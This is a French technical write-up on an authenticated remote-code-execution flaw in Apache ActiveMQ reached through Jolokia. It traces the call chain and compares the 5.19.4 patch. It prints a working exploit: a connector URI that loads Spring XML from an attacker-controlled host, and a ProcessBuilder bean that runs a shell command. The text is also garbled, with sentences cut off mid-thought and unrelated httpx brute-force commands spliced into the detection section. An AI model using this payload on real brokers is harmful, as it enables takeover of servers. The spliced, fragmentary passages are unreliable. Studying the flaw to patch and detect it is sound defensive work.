=> RCE réussie, le fichier `blahblah.txt` a été créé sur le système cible.

# Phase d'analyse
## Analyse dynamique```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Vérifiez la connexion```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Ensuite, grep pour la propre chaîne```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Cette ligne est cruciale car elle confirme que l'URI contrôlée par l'attaquant fournie via :```java
BrokerView.addNetworkConnector(String)

Cette URI contient deux parties importantes :

| Composant       | Objectif                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper utilisé par les connecteurs de découverte ActiveMQ |
| `vm://evil?...` | URI de transport VM traitée en interne par ActiveMQ |

Le wrapper `static:(...)` n'est pas lui-même le composant vulnérable. Son objectif est de passer l'URI de transport encapsulée dans le sous-système de connecteur réseau d'ActiveMQ.

Pendant l'exécution, ActiveMQ a extrait et traité l'URI de transport VM interne :```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Le paramètre `brokerConfig=` est la partie cruciale de la charge utile. Il demande à la couche de transport VM de créer dynamiquement une instance de broker en utilisant une configuration Spring xbean externe chargée depuis :```text
http://192.168.1.32:9999/evil.xml

En conséquence, le document XML distant a été analysé et instancié en tant que contexte d'application Spring à l'intérieur de la JVM du courtier.

Le XML malveillant contenait le bean Spring suivant :```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Parce que Spring instancie avec empressement les beans singleton lors de l'initialisation du contexte, la méthode `ProcessBuilder.start()` s'est exécutée avant qu'ActiveMQ n'ait validé si la configuration du broker elle-même était sûre ou valide.

Cela a entraîné l'exécution de commandes arbitraires sur le conteneur cible.

L'exploit a été vérifié en vérifiant le répertoire `/tmp` à l'intérieur du conteneur ActiveMQ :```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Cela prouve que des commandes arbitraires du système d'exploitation ont été exécutées avec succès dans le contexte du conteneur ActiveMQ.

La trace de pile d'exécution a également révélé le chemin complet d'exécution vulnérable :```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

L'une des observations les plus importantes lors de l'analyse dynamique était l'ordre dans lequel Spring et ActiveMQ ont traité la configuration malveillante.

Après l'exécution réussie de la charge utile, ActiveMQ a ensuite généré l'avertissement suivant :```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Même si la configuration du broker a finalement été rejetée, le bean Spring malveillant avait déjà été instancié et exécuté.

Ce problème d'ordre est le défaut logique central derrière CVE-2026-34197.

L'analyse dynamique a identifié les composants suivants participant à la chaîne d'exploitation :

| Composant                     | Rôle                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | Pont HTTP-vers-JMX                 |
| BrokerView                    | MBean de gestion exposé            |
| VMTransportFactory            | Analyse l'URI de transport `vm://` |
| BrokerFactory                 | Crée une instance de broker        |
| XBeanBrokerFactory            | Charge la configuration Spring xbean |
| ResourceXmlApplicationContext | Charge le XML distant              |
| XmlBeanDefinitionReader       | Analyse les définitions de beans Spring |
| Spring BeanFactory            | Instancie les beans singletons     |
| ProcessBuilder                | Exécute des commandes du système d'exploitation |

L'analyse dynamique confirme que CVE-2026-34197 est causé par l'interaction entre :

* Les opérations de gestion Jolokia trop permissives
* Les URI de transport contrôlées par l'attaquant
* La création automatique du broker de transport VM
* Le chargement de configuration distante Spring xbean
* L'instanciation hâtive des beans singletons avant validation

En conséquence, un attaquant authentifié peut exécuter du code arbitraire sur la JVM ActiveMQ en fournissant une URI `brokerConfig=xbean:http://...` malveillante via l'opération `addNetworkConnector()` exposée par Jolokia.

### Aperçu de l'architecture

Apache ActiveMQ Classic expose une interface de gestion via le pont JMX-HTTP Jolokia disponible à :```text id="n0vmrq"
/api/jolokia/

The following components were involved in the exploit chain:

| Component             | Function                                            |
| --------------------- | --------------------------------------------------- |
| Jolokia               | Expose les opérations JMX via HTTP                  |
| BrokerView            | Interface MBean de gestion                          |
| VMTransportFactory    | Traite les URI de transport `vm://`                 |
| BrokerFactory         | Crée dynamiquement des courtiers                    |
| XBeanBrokerFactory    | Charge les configurations Spring xbean              |
| Spring Context Loader | Analyse et instancie les définitions de beans XML   |
| ProcessBuilder        | Exécute les commandes du système d'exploitation     |

L'architecture devient vulnérable car ActiveMQ permet aux utilisateurs authentifiés d'invoquer des méthodes dangereuses de gestion des courtiers avec des URI de transport contrôlées par l'attaquant.

---

### Analyse de la surface d'attaque

La principale surface d'attaque est le point de terminaison HTTP Jolokia exposé via la console web ActiveMQ :```text id="xq7vba"
http://<target>:8161/api/jolokia/

Le point de terminaison Jolokia acceptait les requêtes authentifiées en utilisant l'authentification de base HTTP :```json id="13tzmx"
"authMode":"basic"

Cette méthode accepte un URI de transport contrôlé par l'utilisateur sans restreindre suffisamment les schémas d'URI dangereux ou les paramètres de configuration.
L'attaquant a fourni la charge utile suivante :```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Le paramètre critique est :```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Spring a ensuite chargé le XML distant via :```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Lors de l'initialisation du contexte de l'application Spring, les beans singleton sont instanciés avec empressement. Par conséquent, la méthode `ProcessBuilder.start()` a été exécutée immédiatement.

Le défaut logique clé est que l'instanciation du bean Spring a eu lieu avant qu'ActiveMQ n'ait validé si la configuration du courtier elle-même était sûre ou valide.

Ce comportement a été prouvé dynamiquement car :

1. La charge utile malveillante a créé avec succès `/tmp/blahblah.txt`
2. ActiveMQ a ensuite rejeté la configuration du courtier avec :```text id="6k1dwn"
The configuration has no BrokerService instance

via:```text id="pt2n3d"
/api/jolokia/

Exemple de charge utile malveillante :```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Le trafic HTTP sortant inattendu depuis le broker JVM doit être examiné.

#### Journaux d'exécution suspects

Les messages d'exécution suivants sont suspects :```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

echo https://example.com | httpx -probe -u admin -password admin

echo https://example.com | httpx -probe -path-bruteforce -d /opt/wordlists/big.txt

echo https://example.com | httpx -probe -path-bruteforce

echo https://example.com | httpx -path-bruteforce -probe -d /opt/wordlists/big.txt -mr '200'

waybackurls http://target.com | httpx -silent -sr -fc 404

ENTRÉE :```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

ou l'exécution suspecte de processus enfants depuis la JVM ActiveMQ peut indiquer une exploitation.

---

### Analyse d'impact

Une exploitation réussie permet l'exécution de code à distance authentifiée dans le contexte de la JVM ActiveMQ.

Dans l'environnement analysé, des commandes arbitraires du système d'exploitation ont été exécutées avec succès à l'intérieur du conteneur :```bash id="2hyz0w"
touch /tmp/blahblah.txt

Le fichier a été créé comme :```text id="9phgkz"
Uid: (0/root)

#### Restreindre l'accès à Jolokia

Désactiver Jolokia si ce n'est pas nécessaire.

Si Jolokia doit rester activé :

* Restreindre l'accès aux réseaux d'administration de confiance
* Appliquer une authentification forte
* Désactiver les opérations exec dangereuses
* Appliquer des politiques d'accès strictes à Jolokia

#### Supprimer les identifiants par défaut

Ne pas utiliser :```text id="9mw1xv"
admin:admin

L'interface MBean expose l'opération comme :```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

L'objet connecteur est ensuite configuré avec l'URI du courtier local et ajouté au courtier :```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Pour l'URI de l'exploit :```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

La méthode vulnérable est:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

L'option `create` est définie par défaut sur `true` :```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

Ceci est l'échec de la limite de privilège au niveau du transport. Un URI fourni via le plan de gestion est évalué par le transport de la VM comme une instruction pour créer un courtier à partir d'un URI de configuration arbitraire.

La validation des paramètres restants a lieu après la création du courtier :```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

Pour `static:(...)`, `SimpleDiscoveryAgent.start()` émet immédiatement chaque service configuré :```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

La recherche de gestionnaire est basée sur le schéma :```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Flux d'appel statique exact :```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

à:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()` extrait la partie spécifique au schéma de l'URI `xbean:` et crée un contexte d'application Spring avant de vérifier s'il contient un broker :```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Les ressources distantes sont acceptées par `Utils.resourceFromString()` :```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

est réduit à :```text
http://192.168.1.32:9999/evil.xml

Dans XBean 4.25, `ResourceXmlApplicationContext` appelle `refresh()` depuis son constructeur :```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

La méthode `AbstractApplicationContext.refresh()` de Spring initialise ensuite la fabrique de beans et instancie les beans singleton non paresseux :```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` crée chaque bean non-abstrait, singleton, non-paresseux :```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

La méthode init personnalisée est résolue à partir de la définition du bean :```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

Un bean Spring XML malveillant tel que :```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

Cela se produit avant que `XBeanBrokerFactory.createBroker()` ne valide le contexte résultant en recherchant un bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

La validation a lieu trop tard car la seule validation de configuration du broker dans `XBeanBrokerFactory` se produit après :```java
new ResourceXmlApplicationContext(resource)

Au moment où ActiveMQ détermine que le XML ne contient pas de `BrokerService` valide, les beans Spring contrôlés par l'attaquant ont peut-être déjà été exécutés.

---

### Analyse du correctif

Le diff pertinent a été examiné avec :```bash
git diff activemq-5.18.6..activemq-5.19.4

Dans 5.18.6, `addNetworkConnector()` transmettait directement la chaîne :```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

La même validation a été ajoutée à `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

Le chemin d'exécution corrigé devient:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

Le correctif ne supprime pas globalement la prise en charge du transport VM. Il restreint l'utilisation de `vm://` via les méthodes de création de connecteur de `BrokerView` orientées JMX. Les chemins de code internes ou de confiance qui utilisent le transport VM existent toujours.

Aucun changement pertinent pour la sécurité n'a été apporté à `VMTransportFactory.doCompositeConnect()` entre 5.18.6 et 5.19.4. Le comportement de `brokerConfig` reste :```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

Il s'agit d'un nettoyage de type-sécurité, pas de l'atténuation de la RCE. La répartition basée sur le schéma vers `XBeanBrokerFactory` reste. `BrokerService` a acquis des vérifications `isAutoStart()` pour le démarrage du connecteur dans certains chemins :```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

L'exploitation est possible car ActiveMQ expose une opération de gestion qui accepte un URI de connecteur, mais l'implémentation de transport aval peut interpréter cet URI comme une configuration de création de broker. Le paramètre `brokerConfig` passe de la logique de connexion de transport à la logique de fabrique de broker. Avec une valeur `xbean:`, il passe à nouveau dans le traitement XML Spring.

La primitive d'exécution Spring n'est pas un bug de désérialisation distinct. Il s'agit d'un comportement normal du cycle de vie Spring : un bean singleton non paresseux est instancié lors du rafraîchissement du contexte, et son `init-method` configurée est invoquée. Un bean `java.lang.ProcessBuilder` avec `init-method="start"` exécute donc un processus lors de l'initialisation du contexte d'application.

L'échec de validation est un défaut d'ordonnancement. ActiveMQ valide si la configuration XBean contient un `BrokerService` utilisable uniquement après que `ResourceXmlApplicationContext` a déjà chargé le XML et initialisé les beans singleton. Le rejet de la configuration du broker après le rafraîchissement n'annule pas les effets secondaires des méthodes de cycle de vie des beans.

Le correctif 5.19.4 atténue ce chemin spécifique en ajoutant une validation d'URI dans `BrokerView` avant la création du connecteur et en rejetant l'utilisation du transport `vm://` depuis la surface de gestion JMX. Le correctif bloque le chemin exposé vers `VMTransportFactory.doCompositeConnect()` ; il ne supprime pas le support de `brokerConfig`, `xbean:` ou le chargement Spring XBean depuis les chemins de configuration internes de confiance.